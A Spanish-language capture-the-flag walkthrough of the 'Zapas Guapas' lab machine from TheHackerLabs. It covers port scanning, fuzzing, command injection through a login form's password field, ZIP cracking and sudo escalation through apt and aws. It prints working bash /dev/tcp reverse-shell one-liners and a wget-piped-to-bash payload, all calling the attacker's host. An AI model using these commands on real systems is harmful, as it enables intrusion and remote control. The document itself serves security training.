Zapas Guapas - TheHackerLabs
Fue una máquina sencilla que requiere un poquito de trabajo. Al descubrir solamente dos puertos abiertos, nos vamos a analizar la página web activa en el puerto 80. Al no encontrar mucho, aplicamos Fuzzing con lo que descubrimos una página que sirve como login. Dicha página, permite la ejecución de comandos desde el campo contraseña que aprovechamos usando BurpSuite para obtener una Reverse Shell. Dentro de la máquina, ubicamos y descargamos un archivo ZIP que logramos crackear, siendo que contiene la contraseña de un usuario de la máquina víctima. Convirtiéndonos en ese usuario, descubrimos que tiene privilegios para usar el comando apt de otro usuario de la máquina. Utilizando GTFOBins, logramos obtener una sesión como el segundo usuario de la máquina. Por último, dicho usuario también tiene privilegios sobre el binario aws del usuario Root que, de igual forma, logramos escalar privilegios usando GTFOBins y nos convertimos en Root.
Herramientas utilizadas:
- ping
- nmap
- wappalizer
- wfuzz
- gobuster
- bash
- nc
- python3
- BurpSuite
- wget
- cat
- unzip
- zip2john
- JohnTheRipper
- ssh
- sudo
- exec
- apt
- aws
Índice
- Recopilación de Información
- Análisis de Vulnerabilidades
- Explotación de Vulnerabilidades
- Post Explotación
- Enumeración de la Máquina Víctima
- Crackeando Archivo ZIP con JohnTheRipper y Entrando al Servicio SSH
- Utilizando Binario apt para Escalar Privilegios y Convertirnos en Usuario proadidas
- Escalando Privilegios con Binario aws para Convertirnos en Root
- Links de Investigación
Recopilación de Información
Traza ICMP
Vamos a realizar un ping para saber si la máquina está activa y en base al TTL veremos que SO opera en la máquina.
ping -c 4 192.168.1.110
PING 192.168.1.110 (192.168.1.110) 56(84) bytes of data.
64 bytes from 192.168.1.110: icmp_seq=1 ttl=64 time=0.815 ms
64 bytes from 192.168.1.110: icmp_seq=2 ttl=64 time=0.872 ms
64 bytes from 192.168.1.110: icmp_seq=3 ttl=64 time=0.939 ms
64 bytes from 192.168.1.110: icmp_seq=4 ttl=64 time=0.802 ms
--- 192.168.1.110 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3002ms
rtt min/avg/max/mdev = 0.802/0.857/0.939/0.054 ms
Por el TTL sabemos que la máquina usa Linux, hagamos los escaneos de puertos y servicios.
Escaneo de Puertos
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 192.168.1.110 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-18 13:15 CST
Initiating ARP Ping Scan at 13:15
Scanning 192.168.1.110 [1 port]
Completed ARP Ping Scan at 13:15, 0.07s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 13:15
Scanning 192.168.1.110 [65535 ports]
Discovered open port 80/tcp on 192.168.1.110
Discovered open port 22/tcp on 192.168.1.110
Completed SYN Stealth Scan at 13:16, 56.86s elapsed (65535 total ports)
Nmap scan report for 192.168.1.110
Host is up, received arp-response (0.00072s latency).
Scanned at 2025-02-18 13:15:37 CST for 57s
Not shown: 52942 filtered tcp ports (no-response), 12591 closed tcp ports (reset)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 64
80/tcp open http syn-ack ttl 64
MAC Address: XX (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 57.07 seconds
Raw packets sent: 124720 (5.488MB) | Rcvd: 12596 (503.844KB)
Parámetros | Descripción |
---|---|
-p- | Para indicarle un escaneo en ciertos puertos. |
–open | Para indicar que aplique el escaneo en los puertos abiertos. |
-sS | Para indicar un TCP Syn Port Scan para que nos agilice el escaneo. |
–min-rate | Para indicar una cantidad de envió de paquetes de datos no menor a la que indiquemos (en nuestro caso pedimos 5000). |
-vvv | Para indicar un triple verbose, un verbose nos muestra lo que vaya obteniendo el escaneo. |
-n | Para indicar que no se aplique resolución dns para agilizar el escaneo. |
-Pn | Para indicar que se omita el descubrimiento de hosts. |
-oG | Para indicar que el output se guarde en un fichero grepeable. Lo nombre allPorts. |
Parece que solamente hay dos puertos abiertos.
Escaneo de Servicios
nmap -sCV -p 22,80 192.168.1.110 -oN targeted
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-18 13:17 CST
Nmap scan report for 192.168.1.110
Host is up (0.00075s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
| 256 7e:42:d0:d4:c9:36:f4:f8:e6:77:c2:c6:7e:25:dc:ff (ECDSA)
|_ 256 6f:a0:50:44:9f:a2:fb:99:40:f3:90:af:56:cc:34:e3 (ED25519)
80/tcp open http Apache httpd 2.4.57 ((Debian))
|_http-server-header: Apache/2.4.57 (Debian)
|_http-title: Zapasguapas
MAC Address: XX (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.99 seconds
Parámetros | Descripción |
---|---|
-sC | Para indicar un lanzamiento de scripts básicos de reconocimiento. |
-sV | Para identificar los servicios/versión que están activos en los puertos que se analicen. |
-p | Para indicar puertos específicos. |
-oN | Para indicar que el output se guarde en un fichero. Lo llame targeted. |
Me da la impresión de que la intrusión será por la página web activa.
Vamos a verla.
Análisis de Vulnerabilidades
Analizando Servicio HTTP
Entremos:
Parece una página de venta de tenis.
Veamos que nos dice Wappalizer:
Aparecen varías tecnologías, entre ellas PHP, que ya nos da una idea de por donde será la intrusión.
Navegando un poco, logre ver 2 usuarios:
Quizá nos sirvan para más adelante.
También podemos ver un correo de contacto:
Quizá sea un dominio.
Si le damos al botón de Contacto, podemos ver una página en la que podemos introducir datos, pero estos no se envían ni nada:
Por lo demás, no encontré algo que sea de interés.
Entonces, vamos a aplicar Fuzzing para ver con que nos podemos encontrar.
Fuzzing
wfuzz -c --hc=404 -t 200 -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -z list,txt-php-sh-cgi-html http://192.168.1.110/FUZZ.FUZ2Z
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://192.168.1.110/FUZZ.FUZ2Z
Total requests: 1102725
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000005: 200 273 L 809 W 14085 Ch "index - html"
000000055: 200 157 L 426 W 7694 Ch "contact - html"
000000060: 200 177 L 474 W 8764 Ch "about - html"
000000195: 200 49 L 163 W 2090 Ch "login - html"
000142437: 200 77 L 223 W 2357 Ch "nike - php"
000060230: 200 172 L 463 W 8587 Ch "testimonial - html"
000226130: 403 9 L 28 W 279 Ch "html"
000226127: 403 9 L 28 W 279 Ch "php"
Total time: 1635.029
Processed Requests: 1102725
Filtered Requests: 1102717
Requests/sec.: 674.4373
Parámetros | Descripción |
---|---|
-c | Para ver el resultado en un formato colorido. |
–hc | Para no mostrar un código de estado en los resultados. |
-t | Para indicar la cantidad de hilos a usar. |
-w | Para indicar el diccionario a usar en el fuzzing. |
-z | Para indicar una lista de archivos con extensiones a buscar. |
Ahora probemos con gobuster:
gobuster dir -u http://192.168.1.110/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50 -x txt,php,cgi,sh,html
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.1.110/
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: txt,php,cgi,sh,html
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.html (Status: 200) [Size: 14085]
/contact.html (Status: 200) [Size: 7694]
/images (Status: 301) [Size: 317] [--> http://192.168.1.110/images/]
/about.html (Status: 200) [Size: 8764]
/login.html (Status: 200) [Size: 2090]
/bin (Status: 301) [Size: 314] [--> http://192.168.1.110/bin/]
/css (Status: 301) [Size: 314] [--> http://192.168.1.110/css/]
/lib (Status: 301) [Size: 314] [--> http://192.168.1.110/lib/]
/js (Status: 301) [Size: 313] [--> http://192.168.1.110/js/]
/javascript (Status: 301) [Size: 321] [--> http://192.168.1.110/javascript/]
/include (Status: 301) [Size: 318] [--> http://192.168.1.110/include/]
/testimonial.html (Status: 200) [Size: 8587]
/nike.php (Status: 200) [Size: 2362]
/.php (Status: 403) [Size: 279]
/.html (Status: 403) [Size: 279]
/server-status (Status: 403) [Size: 279]
Progress: 1323270 / 1323276 (100.00%)
===============================================================
Finished
===============================================================
Parámetros | Descripción |
---|---|
-u | Para indicar la URL a utilizar. |
-w | Para indicar el diccionario a usar en el fuzzing. |
-t | Para indicar la cantidad de hilos a usar. |
-x | Para indicar extensiones especificas a buscar. |
Hay dos páginas que me llaman la atención, siendo
Hay varias cosillas que me interesan, pero la que me llama más la atención es la página login.html
.
Vamos a verla.
Analizando Página login.html
Entremos:
Parece un login simple, pero cuando metemos una credencial y la enviamos, no pasa nada.
Vamos a capturar la petición que se está realizando con BurpSuite y la mandamos al Repeater:
Ojito con la petición que se está realizando, pues parece que es un archivo PHP llamado run_command.php
, que se ejecuta cuando utilizamos la página login.html
. Además, utiliza dos parámetros que son el usuario y la contraseña.
Creo que ya con el nombre del archivo PHP nos damos cuenta de lo que podemos hacer y si no, tan solo tenemos que ver el código fuente de la página login.html
:
Entonces, el campo contraseña sirve para ejecutar comandos.
Pongámoslo a prueba intentando ejecutar el comando whoami:
Funciona, pero no me gusta que no podamos ver lo que escribimos, por lo que creo que es mejor usar BurpSuite para más comodidad.
Igual puedes ejecutar comandos desde ahí:
Explotación de Vulnerabilidades
Aplicando Reverse Shell en Página loing.html y Conectandonos a la Máquina Víctima
Podemos hacerlo de dos formas: usando nuestro oneliner desde BurpSuite o un ejecutando un archivo HTML o sh.
Haremos ambas.
Obteniendo Reverse Shell Utilizando oneliner desde BurpSuite
Vamos a usar nuestra Reverse Shell de confianza que siempre ocupamos, pero URL encodeada:
# Forma normal
bash -c "bash -i >& /dev/tcp/Tu_IP/443 0>&1"
bash -i >& /dev/tcp/Tu_IP/443 0>&1
# URL encodeada
bash -c "bash -i >%26 /dev/tcp/Tu_IP/443 0>%261"
Pero al usarla en BurpSuite, debemos cambiar los espacios por el signo +:
Abre una netcat
nc -nlvp 443
listening on [any] 443 ...
Y manda la petición. Observa la netcat:
nc -nlvp 443
listening on [any] 443 ...
connect to [Tu_IP] from (UNKNOWN) [192.168.1.110] 47544
bash: cannot set terminal process group (511): Inappropriate ioctl for device
bash: no job control in this shell
www-data@zapasguapas:/var/www/tienda$
Ya estamos dentro. Recuerda hacer un tratamiento de la TTY (aunque para esta máquina eso es opcional).
Obteniendo Reverse Shell Ejecutando Archivo sh desde Servidor Remoto
Primero comprobamos si la máquina tiene curl o wget, siendo que solamente tiene wget:
Vamos a guardar la Reverse Shell dentro de un archivo al que llamaremos revShell.sh
:
bash -i >& /dev/tcp/Tu_IP/443 0>&1
Luego, levantamos un servidor con Python:
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Y desde BurpSuite, vamos a usar wget para que ejecute de manera remota nuestra Reverse Shell.
Este es el comando:
wget -qO- http://Tu_IP/revShell.sh | bash
Abre una netcat:
nc -nlvp 443
listening on [any] 443 ...
Y ejecuta en BurpSuite el comando de wget:
Observa la netcat:
nc -nlvp 443
listening on [any] 443 ...
connect to [Tu_IP] from (UNKNOWN) [192.168.1.110] 41854
bash: cannot set terminal process group (511): Inappropriate ioctl for device
bash: no job control in this shell
www-data@zapasguapas:/var/www/tienda$
Estamos dentro de nuevo.
Post Explotación
Enumeración de la Máquina Víctima
Si vemos el archivo /etc/passwd
, veremos que hay 2 usuarios:
www-data@zapasguapas:/home$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...
...
...
proadidas:x:1001:1001::/home/proadidas:/bin/bash
pronike:x:1002:1002::/home/pronike:/bin/bash
Y si vamos al /home
, ahí estarán:
www-data@zapasguapas:/home$ ls
proadidas pronike
Si entramos en el directorio del usuario proadidas, encontramos la flag del usuario, pero no podremos verla, ya que solo el usuario Root puede verla:
www-data@zapasguapas:/home/proadidas$ ls -la
total 32
drwxr-xr-x 3 proadidas proadidas 4096 Apr 23 2024 .
drwxr-xr-x 4 root root 4096 Apr 23 2024 ..
lrwxrwxrwx 1 root root 9 Apr 23 2024 .bash_history -> /dev/null
-rw-r--r-- 1 proadidas proadidas 220 Apr 23 2023 .bash_logout
-rw-r--r-- 1 proadidas proadidas 3526 Apr 23 2023 .bashrc
-rw------- 1 proadidas proadidas 20 Apr 22 2024 .lesshst
drwxr-xr-x 3 proadidas proadidas 4096 Apr 23 2024 .local
-rw-r--r-- 1 proadidas proadidas 807 Apr 23 2023 .profile
-r-------- 1 root root 33 Apr 17 2024 user.txt
Y si entramos al directorio del usuario pronike, encontramos una nota:
www-data@zapasguapas:/home/pronike$ cat nota.txt
Creo que proadidas esta detras del robo de mi contraseña
Bien, esto ya es una pista.
Navegando un poco más (porque no sé la razón por la que linpeas.sh no me funciono), podemos encontrar un archivo ZIP dentro del directorio /opt
:
www-data@zapasguapas:/opt$ ls
importante.zip
Para descargarlo en nuestra máquina, abrimos un servidor con Python en el puerto 8080 y utilizamos wget en nuestra máquina para descargarlo:
wget http://192.168.1.110:8080/importante.zip
--2025-02-18 14:47:53-- http://192.168.1.110:8080/importante.zip
Conectando con 192.168.1.110:8080... conectado.
Petición HTTP enviada, esperando respuesta... 200 OK
Longitud: 266 [application/zip]
Grabando a: «importante.zip»
.
importante.zip 100%[=============>] 266 --.-KB/s en 0s
.
2025-02-18 14:47:53 (43.7 MB/s) - «importante.zip» guardado [266/266]
.
❯ ls
importante.zip linpeas.sh revShell.sh
Ya lo tenemos, pero el problema es que sí tratamos de descomprimirlo, nos pedirá una contraseña:
unzip importante.zip
Archive: importante.zip
[importante.zip] password.txt password:
Debemos aplicarle fuerza bruta con JohnTheRipper.
Crackeando Archivo ZIP con JohnTheRipper y Entrando al Servicio SSH
Primero tenemos que obtener el hash del archivo ZIP y lo haremos con zip2john:
zip2john importante.zip > hashZIP
ver 2.0 efh 5455 efh 7875 importante.zip/password.txt PKZIP Encr: TS_chk, cmplen=76, decmplen=71, crc=9CB8F6B5 ts=4C4E cs=4c4e type=8
Y ahora, utilizamos JohnTheRipper para crackear ese hash:
john -w:/usr/share/wordlists/rockyou.txt hashZIP
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 5 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
hotstuff (importante.zip/password.txt)
1g 0:00:00:00 DONE (2025-02-18 14:48) 25.00g/s 256000p/s 256000c/s 256000C/s 123456..1asshole
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Tenemos la contraseña del archivo ZIP.
Al descomprimirlo, nos da un archivo de texto que se llama password.txt:
unzip importante.zip
Archive: importante.zip
[importante.zip] password.txt password:
inflating: password.txt
Y resulta ser la contraseña del usuario pronike que nos va a permitir entrar al servicio SSH:
ssh pronike@192.168.1.110
pronike@192.168.1.110's password:
Linux zapasguapas 6.1.0-20-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.85-1 (2024-04-11) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
pronike@zapasguapas:~$
Utilizando Binario apt para Escalar Privilegios y Convertirnos en Usuario proadidas
Revisando nuestro privilegios como el usuario pronike, encontramos lo siguiente:
pronike@zapasguapas:~$ sudo -l
Matching Defaults entries for pronike on zapasguapas:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User pronike may run the following commands on zapasguapas:
(proadidas) NOPASSWD: /usr/bin/apt
Podemos ejecutar el binario apt como el usuario proadidas.
Si buscamos en GTFOBins, podemos encontrar una forma con la que podemos escalar privilegios con este binario:
Ocuparemos la opción A.
Apliquémoslo:
pronike@zapasguapas:~$ sudo -u proadidas apt changelog apt
Una vez que lo ejecutes, debes indicarle que te dé abra una shell, justo como dice GTFOBins:
Y ya seremos el usuario proadidas:
$ whoami
proadidas
Si quieres que se vea el prompt, solamente ejecuta cualquiera de los siguientes comandos:
# Forma 1
$ /bin/bash -i
proadidas@zapasguapas:/home/pronike$
.
# Forma 2
$ exec bash
proadidas@zapasguapas:/home/pronike$
Escalando Privilegios con Binario aws para Convertirnos en Root
Si revisamos los privilegios del usuario proadidas, podremos usar el comando aws como el usuario Root:
proadidas@zapasguapas:/home/pronike$ sudo -l
Matching Defaults entries for proadidas on zapasguapas:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
.
User proadidas may run the following commands on zapasguapas:
(proadidas) NOPASSWD: /usr/bin/apt
(root) NOPASSWD: /usr/bin/aws
Y de nuevo, buscando en GTFOBins, encontramos una forma de escalar privilegios:
Vamos a aplicarlo:
proadidas@zapasguapas:/home/pronike$ sudo aws help
Una vez que lo ejecutes, aplicamos lo mismo que hicimos antes:
Y ya seremos el usuario Root:
# whoami
root
# exec bash
root@zapasguapas:/home/pronike# whoami
root
Ya solo buscamos las flags:
root@zapasguapas:/home/pronike# cd ../proadidas
root@zapasguapas:/home/proadidas# ls
user.txt
root@zapasguapas:/home/proadidas# cat user.txt
...
root@zapasguapas:/home/proadidas# cd /root
root@zapasguapas:~# ls
root.txt
root@zapasguapas:~# cat root.txt
...
Con esto, terminamos la máquina.
Links de Investigación
- https://gtfobins.github.io/gtfobins/apt/
- https://gtfobins.github.io/gtfobins/aws/